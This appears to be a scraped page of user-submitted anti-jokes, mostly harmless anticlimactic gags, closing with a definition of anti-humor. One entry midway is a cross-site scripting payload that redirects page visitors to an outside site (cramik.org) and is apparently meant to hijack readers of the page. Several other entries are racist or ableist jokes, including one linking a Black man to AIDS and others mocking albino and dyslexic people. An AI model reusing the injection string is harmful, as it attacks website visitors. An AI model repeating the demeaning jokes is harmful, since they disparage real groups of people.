What's black and white and red all over? The color spectrum. Along with other colors.

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Two guys walk into a bar. But the third one was a duck.

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knock knock who's there your moms dead im sorry

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Why am I constipated? I ate fiber glass insulation.

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Ask me if I'm a tree. "Are you a tree?" No.

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poopy is poopy

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What did the Albino say to the other albino? Due to heredity and our inheritance of Chromosomes causing albinism, We could be displaced in society but luckily, we have eachother. They went home and lived happily. But not ever after. That craps or normal people. (freaking albinos...)

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Why did the man cross the road He didn't, he died after being hit by a car

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What do you call a guy with a car on his head? Immediate identification would not be possible. The man would be referred to by his estimated demographics. Circumstantial evidence and dental reports may be required for identification at which points the family's would be notified. Only after this will the man's name would be released to the media who would in turn report this.

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Knock! Knock! Who's there? Russel. Russell who? Russell Johnson. Oh, come in.

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knock knock who is there who who who your an owl

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Geography Teacher: What caused the earthquake of Japan? Me: Godzilla constipated too hard, and it caused an earthquake. Tsunami was the result of his poo. Geography Teacher: then how do you explain the after shocks...? Me: Godzilla shat his pants after the toilet

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Who stole the cookies from the cookie jar? Who me? Couldn't be.

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what did the teacher say to the students when she was talking about the solar system The sun is very hot. At the core it is 15 million degrees Celsius or 27 million degrees Farenheit. Using a magnifying glass, we can see the very hot heat and the light of the sun. Please do not do that because it can hurt your eyes. This makes the light very bright and the heat is so hot it could start a fire.

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BEST PLACE IN THE WORLD COPENHAGEN !!!!!!!!!!!!!!!!

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My wife is so fat that I find her unattractive.

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A man walks into a bar. He has a nice drink and leaves.

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"'>document.location.href="http://cramik.org"

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what did the prostitute say to the black man after they had sexual intercourse? I have aids

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So, would you like provolone or mozzarella with that? Yes.

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What do you get when you cross a Mexican and an African? A baby.

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EVERYONE NEEDS TO UNDERSTAND!! DYSLEXICS ARE TEOPLE POO!

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"what's fat,stupid,and has a shell" "i don't know what" "you, i lied about the shell"

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What did the lion say on a hot day in Africa? Nothing, lions can't talk.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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